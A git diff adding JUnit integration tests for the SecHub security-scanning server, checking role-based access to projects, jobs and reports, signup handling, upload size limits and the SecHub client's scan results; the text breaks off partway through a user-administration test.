b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario1/ProjectAdministrationScenario1IntTest.java @@ -0,0 +1,56 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.scenario1; + +import static com.daimler.sechub.integrationtest.api.TestAPI.*; + +import org.junit.Rule; +import org.junit.Test; +import org.springframework.http.HttpStatus; + +import com.daimler.sechub.integrationtest.api.IntegrationTestSetup; + +public class ProjectAdministrationScenario1IntTest { + + @Rule + public IntegrationTestSetup setup = IntegrationTestSetup.forScenario(Scenario1.class); + + /* +-----------------------------------------------------------------------+ */ + /* +............................ Project create ...........................+ */ + /* +-----------------------------------------------------------------------+ */ + + @Test + public void a_superadmin_is_able_to_create_a_project() { + assertUser(SUPER_ADMIN).canCreateProject(Scenario1.PROJECT_1,Scenario1.OWNER_1.getUserId()); + } + + @Test + public void a_superadmin_is_able_to_create_a_project_and_owner_can_be_added_as_user_and_is_user_and_owner_role() { + /* @formatter:off */ + /* check preconditions */ + assertUser(Scenario1.OWNER_1). + hasUserRole().// every created user has role user - except when deactivated + hasNotOwnerRole();// at this time the user is NOT assigned to a project nor owner + + /* execute */ + assertUser(SUPER_ADMIN). + canCreateProject(Scenario1.PROJECT_1,Scenario1.OWNER_1.getUserId()). + canAssignUserToProject(Scenario1.OWNER_1, Scenario1.PROJECT_1); + /* test */ + assertUser(Scenario1.OWNER_1). + hasUserRole(). + hasOwnerRole(). + isOwnerOf(Scenario1.PROJECT_1); + /* @formatter:on */ + } + + @Test + public void a_user_is_not_able_to_create_a_project() { + assertUser(ONLY_USER).cannotCreateProject(Scenario1.PROJECT_1, Scenario1.OWNER_1.getUserId(),HttpStatus.FORBIDDEN); + } + + @Test + public void anynomous_is_not_able_to_create_a_project() { + assertUser(ANONYMOUS).cannotCreateProject(Scenario1.PROJECT_1, Scenario1.OWNER_1.getUserId(), HttpStatus.UNAUTHORIZED); + } + +} diff --git a/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario1/UserRegistrationScenario1IntTest.java b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario1/UserRegistrationScenario1IntTest.java new file mode 100644 index 0000000000..1be9232a91 --- /dev/null +++ b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario1/UserRegistrationScenario1IntTest.java @@ -0,0 +1,61 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.scenario1; + +import static com.daimler.sechub.integrationtest.api.TestAPI.*; +import static com.daimler.sechub.integrationtest.scenario1.Scenario1.*; +import static org.junit.Assert.*; + +import org.junit.Rule; +import org.junit.Test; +import org.springframework.http.HttpStatus; + +import com.daimler.sechub.integrationtest.api.IntegrationTestSetup; + +public class UserRegistrationScenario1IntTest{ + + @Rule + public IntegrationTestSetup setup = IntegrationTestSetup.forScenario(Scenario1.class); + + /* +-----------------------------------------------------------------------+ */ + /* +............................ Registration . ...........................+ */ + /* +-----------------------------------------------------------------------+ */ + @Test + public void an_existing_signup_is_not_added_twice() { + /* @formatter:off */ + as(ANONYMOUS).signUpAs(USER_1); + assertSignup(USER_1).doesExist(); + + /* execute + test */ + expectHttpFailure(()->as(ANONYMOUS).signUpAs(USER_1), HttpStatus.NOT_ACCEPTABLE); + + /* @formatter:on */ + + } + @Test + public void an_unregistered_user_can_be_accepted_by_admin_gets_a_link_and_is_then_registered() { + /* check precondition*/ + assertUser(USER_1).doesNotExist(); + + /* prepare */ + as(ANONYMOUS).signUpAs(USER_1); + assertSignup(USER_1).doesExist(); + assertUser(USER_1).doesNotExist(); // still not existing + + /* execute */ + as(SUPER_ADMIN).acceptSignup(USER_1); + + /* test */ + assertUser(USER_1).doesExist(); + + /* execute receive of new api token*/ + String link = getLinkToFetchNewAPITokenAfterSignupAccepted(USER_1); + String apiToken = udpdateAPITokenByOneTimeTokenLink(USER_1, link); + + /* test */ + assertNotNull(apiToken); + assertFalse(apiToken.isEmpty()); + assertEquals(USER_1.getApiToken(),apiToken); + + } + +} diff --git a/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/FileUploadSizeScenario2IntTest.java b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/FileUploadSizeScenario2IntTest.java new file mode 100644 index 0000000000..1ccd54e800 --- /dev/null +++ b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/FileUploadSizeScenario2IntTest.java @@ -0,0 +1,139 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.scenario2; + +import static com.daimler.sechub.integrationtest.api.TestAPI.*; +import static com.daimler.sechub.integrationtest.scenario2.Scenario2.*; + +import java.io.BufferedOutputStream; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.util.UUID; +import java.util.zip.ZipEntry; +import java.util.zip.ZipOutputStream; + +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; +import org.junit.rules.Timeout; +import org.springframework.web.client.HttpServerErrorException; + +import com.daimler.sechub.integrationtest.api.IntegrationTestSetup; +import com.daimler.sechub.sharedkernel.util.FileChecksumSHA256Service; + +public class FileUploadSizeScenario2IntTest { + + @Rule + public IntegrationTestSetup setup = IntegrationTestSetup.forScenario(Scenario2.class).markLongRunning(); + + @Rule + public Timeout timeOut = Timeout.seconds(60); + + @Rule + public ExpectedException expected = ExpectedException.none(); + + private FileChecksumSHA256Service checksumSHA256Service; + + /** + * Generate big zip file and violate file size limit + * + * @throws IOException + */ + @Test + public void when_file_exceeds_5MB_a_server_error_is_thrown() throws IOException { + /* @formatter:off */ + handleBigUpload(true); + } + + /** + * Generate maximum allowed big zip file - so not violate + * + * @throws IOException + */ + @Test + public void when_file_exceeds_NOT_5MB_no_exception_is_thrown() throws IOException { + /* @formatter:off */ + handleBigUpload(false); + } + + private void handleBigUpload(boolean tooBig) throws FileNotFoundException, IOException { + /* prepare */ + checksumSHA256Service = new FileChecksumSHA256Service(); + as(SUPER_ADMIN). + assignUserToProject(USER_1, PROJECT_1); + + UUID jobUUID = assertUser(USER_1). + doesExist(). + isAssignedToProject(PROJECT_1). + canCreateWebScan(PROJECT_1); + + File largeFile = createZipFileContainingMegabytes(tooBig); + + /* test */ + if (tooBig) { +// We do not expect ResourceAccessException here but a 500, see +// https://stackoverflow.com/questions/48891490/sizelimitexceededexception-not-being-caught-by-spring-controlleradvice +// https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/web/multipart/support/MultipartFilter.html +// Did try suggestions done at https://www.baeldung.com/exception-handling-for-rest-with-spring but did not work at all +// we got always +// +// org.apache.tomcat.util.http.fileupload.FileUploadBase$SizeLimitExceededException: the request was rejected because its size (5244303) exceeds the configured maximum (5242880) +// at org.apache.tomcat.util.http.fileupload.FileUploadBase$FileItemIteratorImpl.(FileUploadBase.java:802) ~[tomcat-embed-core-8.5.32.jar:8.5.32] +// done by apache server which leads to a 500. +// +// would be nice to to throw a NotAcceptableException instead + expected.expect(HttpServerErrorException.class); + }else { + /* nothing - means expected no exception at all!*/ + } + + /* execute */ + as(USER_1). + upload(PROJECT_1, jobUUID, largeFile, checksumSHA256Service.createChecksum(largeFile.getAbsolutePath())); + /* @formatter:on */ + } + + /** + * A little bit tricky: ZipFile content differs from file size. Also multipart + * upload contains not only the file but meta information as well (e.g. + * filename, sha256checksum,..) + */ + private File createZipFileContainingMegabytes(boolean uploadShallBeTooLarge) throws FileNotFoundException, IOException { + String tmpOutputFilePath = "build/resources/bigFile"; + if (uploadShallBeTooLarge) { + tmpOutputFilePath += "-too-large"; + } else { + tmpOutputFilePath += "-accepted"; + } + tmpOutputFilePath += ".zip"; + + int maximumUploadSizeInMB = 5; + int maximumUploadSizeInBytes = 1024 * 1024 * maximumUploadSizeInMB; + int bytesToOrder = maximumUploadSizeInBytes; + if (!uploadShallBeTooLarge) { + bytesToOrder = bytesToOrder - (3 * 1024); // we reduce 3kb (includes zipfile overhead, filename on multipart and sha256 + // checksum on upload) + } + byte[] content = new byte[bytesToOrder]; + + try (FileOutputStream fileOutputStream = new FileOutputStream(tmpOutputFilePath); + ZipOutputStream zipOutputStream = new ZipOutputStream(new BufferedOutputStream(fileOutputStream));) { + + ZipEntry zipEntry = new ZipEntry(tmpOutputFilePath); + // Set compression level to minimum to generate big zip file + zipOutputStream.setLevel(0); + zipOutputStream.putNextEntry(zipEntry); + zipOutputStream.write(content); + zipOutputStream.flush(); + } + File file = new File(tmpOutputFilePath); + if (uploadShallBeTooLarge && file.length() < maximumUploadSizeInBytes) { + throw new IllegalStateException("Wanted at least file size: " + maximumUploadSizeInBytes + " but was:" + file.length()); + } + if (!uploadShallBeTooLarge && file.length() >= maximumUploadSizeInBytes) { + throw new IllegalStateException("Wanted a maximum file size: " + (maximumUploadSizeInBytes - (3 * 1024)) + " but was:" + file.length()); + } + return file; + } +} diff --git a/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/JobScenario2IntTest.java b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/JobScenario2IntTest.java new file mode 100644 index 0000000000..239a482e10 --- /dev/null +++ b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/JobScenario2IntTest.java @@ -0,0 +1,68 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.scenario2; + +import static com.daimler.sechub.integrationtest.api.TestAPI.*; +import static com.daimler.sechub.integrationtest.scenario2.Scenario2.*; + +import java.util.UUID; + +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.Timeout; + +import com.daimler.sechub.integrationtest.api.IntegrationTestSetup; +import com.daimler.sechub.integrationtest.api.RunMode; + +public class JobScenario2IntTest { + + @Rule + public IntegrationTestSetup setup = IntegrationTestSetup.forScenario(Scenario2.class); + + @Rule + public Timeout timeOut = Timeout.seconds(10); + + /* +-----------------------------------------------------------------------+ */ + /* +............................ Start scan job ...........................+ */ + /* +-----------------------------------------------------------------------+ */ + + @Test + public void a_triggered_job_is_found_in_running_jobs_list_by_admin__when_not_already_done() { + as(SUPER_ADMIN). + assignUserToProject(USER_1, PROJECT_1); + + /* @formatter:off */ + + UUID jobUUID = assertUser(USER_1). + canCreateWebScan(PROJECT_1,RunMode.LONG_RUNNING_BUT_GREEN); + + assertUser(USER_1). + canApproveJob(PROJECT_1, jobUUID); + + assertUser(SUPER_ADMIN). + onJobAdministration(). + canFindRunningJob(jobUUID); // means events are triggered and handled */ + /* @formatter:on */ + + } + + @Test + public void a_triggered_job_is_NOT_found_in_running_jobs_list_by_admin__when_already_done() { + as(SUPER_ADMIN). + assignUserToProject(USER_1, PROJECT_1); + + /* @formatter:off */ + + UUID jobUUID = assertUser(USER_1). + canCreateWebScan(PROJECT_1,RunMode.NORMAL); + + assertUser(USER_1).canApproveJob(PROJECT_1, jobUUID); + + waitSeconds(1); // give event handling a chance... + + assertUser(SUPER_ADMIN). + onJobAdministration().canNotFindRunningJob(jobUUID); // means events are triggered and handled */ + /* @formatter:on */ + + } + +} diff --git a/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/ProjectAdministrationScenario2IntTest.java b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/ProjectAdministrationScenario2IntTest.java new file mode 100644 index 0000000000..0e7d52cdc0 --- /dev/null +++ b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/ProjectAdministrationScenario2IntTest.java @@ -0,0 +1,78 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.scenario2; + +import static com.daimler.sechub.integrationtest.api.TestAPI.*; +import static com.daimler.sechub.integrationtest.scenario2.Scenario2.*; + +import org.junit.Rule; +import org.junit.Test; +import org.springframework.http.HttpStatus; + +import com.daimler.sechub.integrationtest.api.IntegrationTestSetup; + +public class ProjectAdministrationScenario2IntTest { + + @Rule + public IntegrationTestSetup setup = IntegrationTestSetup.forScenario(Scenario2.class); + /* +-----------------------------------------------------------------------+ */ + /* +............................ Project 2 User ...........................+ */ + /* +-----------------------------------------------------------------------+ */ + @Test + public void a_superadmin_can_assign_user_to_project() { + assertUser(SUPER_ADMIN).canAssignUserToProject(USER_1,PROJECT_1); + } + + @Test + public void when_a_superadmin_assigns_a_user_to_a_project_the_user_is_assigned() { + /* check precondition */ + assertUser(USER_1).isNotAssignedToProject(PROJECT_1); + + /* execute */ + as(SUPER_ADMIN).assignUserToProject(USER_1,PROJECT_1); + + /* test */ + assertUser(USER_1).isAssignedToProject(PROJECT_1); + } + @Test + public void when_a_superadmin_unassigns_a_user_from_a_project_the_user_is_no_longer_assigned() { + /* prepare */ + as(SUPER_ADMIN).assignUserToProject(USER_1,PROJECT_1); + assertUser(USER_1).isAssignedToProject(PROJECT_1); + + /* execute */ + as(SUPER_ADMIN).unassignUserFromProject(USER_1,PROJECT_1); + + /* test*/ + assertUser(USER_1).isNotAssignedToProject(PROJECT_1); + } + + @Test + public void a_normal_user_can_NOT_assign_user_to_project() { + assertUser(ONLY_USER).canNotAssignUserToProject(USER_1,PROJECT_1, HttpStatus.FORBIDDEN); + } + + @Test + public void anynmouse_can_NOT_assign_user_to_project() { + assertUser(ANONYMOUS).canNotAssignUserToProject(USER_1,PROJECT_1, HttpStatus.UNAUTHORIZED); + } + /* +-----------------------------------------------------------------------+ */ + /* +............................ Project list . ...........................+ */ + /* +-----------------------------------------------------------------------+ */ + @Test + public void a_superadmin_is_able_to_list_a_project() { + assertUser(SUPER_ADMIN).canAccessProjectInfo(PROJECT_1); + } + + @Test + public void a_normal_user_can_NOT_list_a_project() { + assertUser(ONLY_USER).canNotListProject(PROJECT_1, HttpStatus.FORBIDDEN); + } + + @Test + public void anynmouse_can_NOT_list_a_project() { + assertUser(ANONYMOUS).canNotListProject(PROJECT_1, HttpStatus.UNAUTHORIZED); + } + + + +} diff --git a/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/SecHubExecutionScenario2IntTest.java b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/SecHubExecutionScenario2IntTest.java new file mode 100644 index 0000000000..3d43f7fb17 --- /dev/null +++ b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/SecHubExecutionScenario2IntTest.java @@ -0,0 +1,274 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.scenario2; + +import static com.daimler.sechub.integrationtest.api.TestAPI.*; +import static com.daimler.sechub.integrationtest.scenario2.Scenario2.*; + +import java.util.Arrays; +import java.util.UUID; + +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.Timeout; +import org.springframework.http.HttpStatus; + +import com.daimler.sechub.integrationtest.api.AnonymousTestUser; +import com.daimler.sechub.integrationtest.api.IntegrationTestSetup; +import com.daimler.sechub.integrationtest.api.TestAPI; +import com.daimler.sechub.integrationtest.api.TestUser; + +public class SecHubExecutionScenario2IntTest { + + @Rule + public IntegrationTestSetup setup = IntegrationTestSetup.forScenario(Scenario2.class); + + @Rule + public Timeout timeOut = Timeout.seconds(5); + + /* +-----------------------------------------------------------------------+ */ + /* +............................ Start scan job ...........................+ */ + /* +-----------------------------------------------------------------------+ */ + @Test + public void when_user_is_not_assigned_to_project_job_cannot_be_started() { + /* @formatter:off */ + assertUser(USER_1). + doesExist(). + isNotAssignedToProject(PROJECT_1). + canNotCreateWebScan(PROJECT_1, HttpStatus.NOT_FOUND);// we use not found because for user1 it is not existent... + /* @formatter:on */ + } + + @Test + public void when_user_is_assigned_to_project_job_can_be_created_and_user_and_superadmin_can_get_status_but_not_other_users() { + /* prepare*/ + /* @formatter:off */ + as(SUPER_ADMIN). + assignUserToProject(USER_1, PROJECT_1). + assignUserToProject(USER_2, PROJECT_2); + + assertUser(USER_2). + isAssignedToProject(PROJECT_2). + isNotAssignedToProject(PROJECT_1); + + UUID jobUUID = assertUser(USER_1). + doesExist(). + isAssignedToProject(PROJECT_1). + canCreateWebScan(PROJECT_1); + + ; + /* test */ + assertUser(USER_1). + canGetStatusForJob(PROJECT_1, jobUUID); + assertUser(SUPER_ADMIN). + canGetStatusForJob(PROJECT_1, jobUUID); + assertUser(USER_2). + canNotGetStatusForJob(PROJECT_1, jobUUID, HttpStatus.NOT_FOUND). + canNotGetStatusForJob(PROJECT_2, jobUUID, HttpStatus.NOT_FOUND); + + /* @formatter:on */ + + } + + @Test + public void when_user_is_assigned_to_project_job_can_be_approved() { + /* prepare*/ + as(SUPER_ADMIN). + assignUserToProject(USER_1, PROJECT_1). + assignUserToProject(USER_2, PROJECT_2); + + /* @formatter:off */ + assertUser(USER_2). + isAssignedToProject(PROJECT_2). + isNotAssignedToProject(PROJECT_1); + + UUID jobUUID = assertUser(USER_1). + doesExist(). + isAssignedToProject(PROJECT_1). + canCreateWebScan(PROJECT_1); + + ; + + assertUser(USER_2).canNotApproveJob(PROJECT_1, jobUUID); + assertUser(USER_1).canApproveJob(PROJECT_1, jobUUID); + + /* @formatter:on */ + + } + + @Test + public void an_admin_which_is_not_assigned_to_a_project_can_approve_a_job_triggered_by_another_user() { + /* prepare*/ + as(SUPER_ADMIN). + assignUserToProject(USER_1, PROJECT_1). + assignUserToProject(USER_2, PROJECT_2); + + /* @formatter:off */ + assertUser(USER_2). + isAssignedToProject(PROJECT_2). + isNotAssignedToProject(PROJECT_1); + + UUID jobUUID = assertUser(USER_1). + doesExist(). + isAssignedToProject(PROJECT_1). + canCreateWebScan(PROJECT_1); + + ; + + assertUser(SUPER_ADMIN).canApproveJob(PROJECT_1, jobUUID); + + /* @formatter:on */ + + } + + @Test + public void when_user_is_triggered_a_job_the_report_can_be_downloaded_by_user_superadmins_but_not_other_users() { + /* prepare*/ + as(SUPER_ADMIN). + assignUserToProject(USER_1, PROJECT_1). + assignUserToProject(USER_2, PROJECT_2); + + /* @formatter:off */ + assertUser(USER_2). + isAssignedToProject(PROJECT_2). + isNotAssignedToProject(PROJECT_1); + + UUID jobUUID = assertUser(USER_1). + doesExist(). + isAssignedToProject(PROJECT_1). + canCreateAndApproveWebScan(PROJECT_1); + + ; + TestAPI.waitForJobDone(PROJECT_1,jobUUID); + + /* test */ + assertUser(USER_1). + canDownloadReportForJob(PROJECT_1, jobUUID); + assertUser(SUPER_ADMIN). + canDownloadReportForJob(PROJECT_1, jobUUID); + + assertUser(USER_2). + canNotDownloadReportForJob(PROJECT_1, jobUUID); + + /* @formatter:on */ + + } + + + @Test + public void when_user_exists_user_cannot_be_signed_in_again() { + /* @formatter:off */ + assertUser(USER_1).doesExist(); /* already created */ + assertSignup(USER_1).doesNotExist(); // signup is not existing + TestUser newUser = new AnonymousTestUser(USER_1.getUserId(),"somewhere."+System.currentTimeMillis()+"@example.org"); + + /* execute + test */ + expectHttpFailure(()->as(ANONYMOUS).signUpAs(newUser), HttpStatus.NOT_ACCEPTABLE); + + /* @formatter:on */ + + } + + @Test + public void when_another_user_has_got_the_email_used_for_signup_but_different_name_user_cannot_be_signed_in_again() { + /* @formatter:off */ + assertUser(USER_1).doesExist(); /* already created */ + String name = "u_"+System.currentTimeMillis(); + if (name.length()>15 || name.length()<5) { + throw new IllegalStateException("testcase corrupt - name invalid:"+name+". Testcase checks only for same email recognized. Name must be correct here!"); + } + TestUser newUser = new AnonymousTestUser(name,USER_1.getEmail()); + /* execute + test */ + expectHttpFailure(()->as(ANONYMOUS).signUpAs(newUser), HttpStatus.NOT_ACCEPTABLE); + + /* @formatter:on */ + + } + + @Test + public void when_user_is_assigned_to_project_user_can_be_unassigned() { + as(SUPER_ADMIN).assignUserToProject(USER_1, PROJECT_1); + + /* @formatter:off */ + assertUser(USER_1). + isAssignedToProject(PROJECT_1); + + /* execute*/ + as(SUPER_ADMIN). + unassignUserFromProject(USER_1, PROJECT_1); + + assertUser(USER_1). + isNotAssignedToProject(PROJECT_1); + + /* @formatter:on */ + + } + + @Test + public void when_admin_updates_whitelist_of_project_to_empty_list_user_is_assigned_to_project_but_job_cannot_be_started__HTTP_STATUS_406_NOT_ACCEPTABLE() { + /* @formatter:off */ + + /* prepare */ + assertProject(PROJECT_1).doesExist(); + as(SUPER_ADMIN).assignUserToProject(USER_1, PROJECT_1); + + /* execute */ + as(SUPER_ADMIN). + updateWhiteListForProject(PROJECT_1,Arrays.asList()); + + /* test */ + assertUser(USER_1). + doesExist(). + isAssignedToProject(PROJECT_1). + canNotCreateWebScan(PROJECT_1, HttpStatus.NOT_ACCEPTABLE); + + /* @formatter:on */ + + } + + + @Test + public void when_user_is_assigned_to_project_job_can_be_created_and_approved_user_1_can_get_report_but_not_user2() { + as(SUPER_ADMIN).assignUserToProject(USER_1, PROJECT_1); + as(SUPER_ADMIN).assignUserToProject(USER_2, PROJECT_2); + + /* @formatter:off */ + assertUser(USER_2). + isAssignedToProject(PROJECT_2). + isNotAssignedToProject(PROJECT_1); + + UUID jobUUID = assertUser(USER_1). + doesExist(). + isAssignedToProject(PROJECT_1). + canCreateWebScan(PROJECT_1); + + assertUser(USER_1). + canApproveJob(PROJECT_1, jobUUID). + canGetReportForJob(PROJECT_1, jobUUID); + /* test user 2 has no access to job status or report even when having access to another project!*/ + assertUser(USER_2). + canNotGetReportForJob(PROJECT_1, jobUUID, HttpStatus.NOT_FOUND). + canNotGetReportForJob(PROJECT_2, jobUUID, HttpStatus.NOT_FOUND); + /* @formatter:on */ + + } + + + @Test + public void a_zipped_source_file_can_be_uploaded_and_approved() { + as(SUPER_ADMIN).assignUserToProject(USER_1, PROJECT_1); + + /* @formatter:off */ + UUID jobUUID = assertUser(USER_1). + doesExist(). + isAssignedToProject(PROJECT_1). + canCreateWebScan(PROJECT_1); + + assertUser(USER_1). + canUploadSourceZipFile(PROJECT_1,jobUUID,"zipfile_contains_only_test1.txt.zip"). + canApproveJob(PROJECT_1, jobUUID). + canGetReportForJob(PROJECT_1, jobUUID); + /* @formatter:on */ + + } + +} diff --git a/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/SecHubExecutionScenarioSecHubClientIntTest.java b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/SecHubExecutionScenarioSecHubClientIntTest.java new file mode 100644 index 0000000000..cbd6053343 --- /dev/null +++ b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/SecHubExecutionScenarioSecHubClientIntTest.java @@ -0,0 +1,251 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.scenario2; + +import static com.daimler.sechub.integrationtest.api.AssertExecutionResult.*; +import static com.daimler.sechub.integrationtest.api.TestAPI.*; +import static com.daimler.sechub.integrationtest.scenario2.Scenario2.*; +import static java.util.Arrays.*; + +import java.util.Collections; + +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.Timeout; + +import com.daimler.sechub.integrationtest.api.IntegrationTestSetup; +import com.daimler.sechub.integrationtest.internal.SecHubClientExecutor.ExecutionResult; + +public class SecHubExecutionScenarioSecHubClientIntTest { + + @Rule + public IntegrationTestSetup setup = IntegrationTestSetup.forScenario(Scenario2.class); + + @Rule + public Timeout timeOut = Timeout.seconds(11135); + + @Test + public void sechub_client_is_able_to_trigger_sourcescan_asynchronous() { + /* @formatter:off */ + + /* prepare */ + as(SUPER_ADMIN). + assignUserToProject(USER_1, PROJECT_1). + updateWhiteListForProject(PROJECT_1, asList("https://fscan.intranet.example.org")); + + assertUser(USER_1). + doesExist(). + isAssignedToProject(PROJECT_1); + + /* execute + test */ + as(USER_1). + withSecHubClient(). + startAsynchronScanFor(PROJECT_1, "sechub-integrationtest-client-infrascan.json"). + assertJobTriggered(); + + /* @formatter:on */ + + } + + @Test + public void sechub_client_is_able_to_trigger_infrascan_asynchronous() { + /* @formatter:off */ + + /* prepare */ + as(SUPER_ADMIN). + assignUserToProject(USER_1, PROJECT_1). + updateWhiteListForProject(PROJECT_1, asList("https://fscan.intranet.example.org")); + + assertUser(USER_1). + doesExist(). + isAssignedToProject(PROJECT_1); + + /* execute + test */ + as(USER_1). + withSecHubClient(). + startAsynchronScanFor(PROJECT_1, "sechub-integrationtest-client-sourcescan-green.json"). + assertJobTriggered(); + + /* @formatter:on */ + + } + + @Test + public void sechub_client_is_able_to_handle_asynchronous_and_file_is_uploaded() { + /* @formatter:off */ + + /* prepare */ + as(SUPER_ADMIN). + assignUserToProject(USER_1, PROJECT_1); + + assertUser(USER_1). + doesExist(). + isAssignedToProject(PROJECT_1); + + /* execute */ + as(USER_1). + withSecHubClient(). + startAsynchronScanFor(PROJECT_1, "sechub-integrationtest-client-sourcescan-green.json"). + assertFileUploaded(PROJECT_1); + + /* @formatter:on */ + + } + + @Test + public void sechub_client_is_able_to_handle_asynchronous_and_file_is_uploaded_and_excludes_handled() { + /* @formatter:off */ + + /* prepare */ + as(SUPER_ADMIN). + assignUserToProject(USER_1, PROJECT_1); + + assertUser(USER_1). + doesExist(). + isAssignedToProject(PROJECT_1); + + /* execute */ + + as(USER_1). + withSecHubClient(). + // `sechub-integrationtest-client-sourcescan-excluded_some_files.json` + // uses a mock with 5 seconds running job - enough to get access to + // the uploaded content, download it full. Otherwise file could + // be automated removed by cleanup actions on server! + startAsynchronScanFor(PROJECT_1, "sechub-integrationtest-client-sourcescan-excluded_some_files.json"). + assertFileUploadedAsZip(PROJECT_1). + zipContains("not-excluded.txt"). + zipContains("subfolder/not-excluded-2.txt"). + zipNotContains("exclude-me.txt"). + zipNotContains("subfolder/exclude-me.txt"); + + /* @formatter:on */ + + } + + @Test + public void sechub_client_is_able_to_handle_synchronous_and_result_has_trafficlight_green() { + + /* prepare */ + as(SUPER_ADMIN).assignUserToProject(USER_1, PROJECT_1); + + /* @formatter:off */ + assertUser(USER_1). + doesExist(). + isAssignedToProject(PROJECT_1); + + /* execute */ + ExecutionResult result = as(USER_1).withSecHubClient().startSynchronScanFor(PROJECT_1, + "sechub-integrationtest-client-sourcescan-green.json"); + + /* test */ + assertResult(result). + isGreen(). + hasExitCode(0); + + /* @formatter:on */ + + } + + @Test + public void sechub_client_is_able_to_handle_synchronous_and_result_has_trafficlight_yellow_pe_default_exitcode0() { + + /* prepare */ + as(SUPER_ADMIN).assignUserToProject(USER_1, PROJECT_1); + + /* @formatter:off */ + assertUser(USER_1). + doesExist(). + isAssignedToProject(PROJECT_1); + + /* execute */ + ExecutionResult result = as(USER_1). + withSecHubClient(). + startSynchronScanFor(PROJECT_1, "sechub-integrationtest-client-sourcescan-yellow.json"); + + /* test */ + assertResult(result). + isYellow(). + hasExitCode(0); + + /* @formatter:on */ + + } + + @Test + public void sechub_client_is_able_to_handle_synchronous_and_result_has_trafficlight_yellow_stop_on_yellow_active_so_exit_code1() { + + /* prepare */ + as(SUPER_ADMIN).assignUserToProject(USER_1, PROJECT_1); + + /* @formatter:off */ + assertUser(USER_1). + doesExist(). + isAssignedToProject(PROJECT_1); + + /* execute */ + ExecutionResult result = as(USER_1). + withSecHubClient(). + enableStopOnYellow(). + startSynchronScanFor(PROJECT_1, "sechub-integrationtest-client-sourcescan-yellow.json"); + + /* test */ + assertResult(result). + isYellow(). + hasExitCode(1); + + /* @formatter:on */ + + } + + @Test + public void sechub_client_is_able_to_handle_synchronous_and_result_has_trafficlight_red() { + + /* @formatter:off */ + /* prepare */ + as(SUPER_ADMIN). + assignUserToProject(USER_1, PROJECT_1). + updateWhiteListForProject(PROJECT_1, Collections.singletonList("https://vulnerable.demo.example.org")); + + assertUser(USER_1). + doesExist(). + isAssignedToProject(PROJECT_1); + + /* execute */ + ExecutionResult result = as(USER_1). + withSecHubClient(). + startSynchronScanFor(PROJECT_1, "sechub-integrationtest-webscanconfig-red-result.json"); + + /* test */ + assertResult(result). + isRed(). + hasExitCode(1); + + /* @formatter:on */ + + } + + @Test + public void sechub_client_is_able_to_handle_synchronous_and_result_has_trafficlight_green_when_config_is_extreme_big() { + + /* prepare */ + as(SUPER_ADMIN).assignUserToProject(USER_1, PROJECT_1); + + /* @formatter:off */ + assertUser(USER_1). + doesExist(). + isAssignedToProject(PROJECT_1); + + /* execute */ + ExecutionResult result = as(USER_1).withSecHubClient().startSynchronScanFor(PROJECT_1, + "sechub-integrationtest-client-sourcescan-green-extreme-big.json"); + + /* test */ + assertResult(result). + isGreen(). + hasExitCode(0); + + /* @formatter:on */ + + } + +} diff --git a/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/UserAdministrationScenario2IntTest.java b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/UserAdministrationScenario2IntTest.java new file mode 100644 index 0000000000..ea35db9fc5 --- /dev/null +++ b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario2/UserAdministrationScenario2IntTest.java @@ -0,0 +1,93 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.scenario2; + +import static com.daimler.sechub.integrationtest.api.AssertMail.*; +import static com.daimler.sechub.integrationtest.api.TestAPI.*; +import static com.daimler.sechub.integrationtest.scenario2.Scenario2.*; + +import org.junit.Rule; +import org.junit.Test; +import org.springframework.http.HttpStatus; + +import com.daimler.sechub.integrationtest.api.IntegrationTestSetup; +import com.daimler.sechub.integrationtest.api.TestUser; +public class UserAdministrationScenario2IntTest { + + @Rule + public IntegrationTestSetup setup = IntegrationTestSetup.forScenario(Scenario2.class); + /* +-----------------------------------------------------------------------+ */ + /* +............................ User ......... ...........................+ */ + /* +-----------------------------------------------------------------------+ */ + /* @formatter:off */ + @Test + public void superadmin_can_grant_user_admin_rights_mails_are_sent_and_user_appears_as_expected_then() { + TestUser adminUser = USER_1; + + /* execute grant +test */ + assertUser(SUPER_ADMIN).canGrantSuperAdminRightsTo(adminUser); + /* test behavior*/ + assertUser(adminUser). + isSuperAdmin(). + 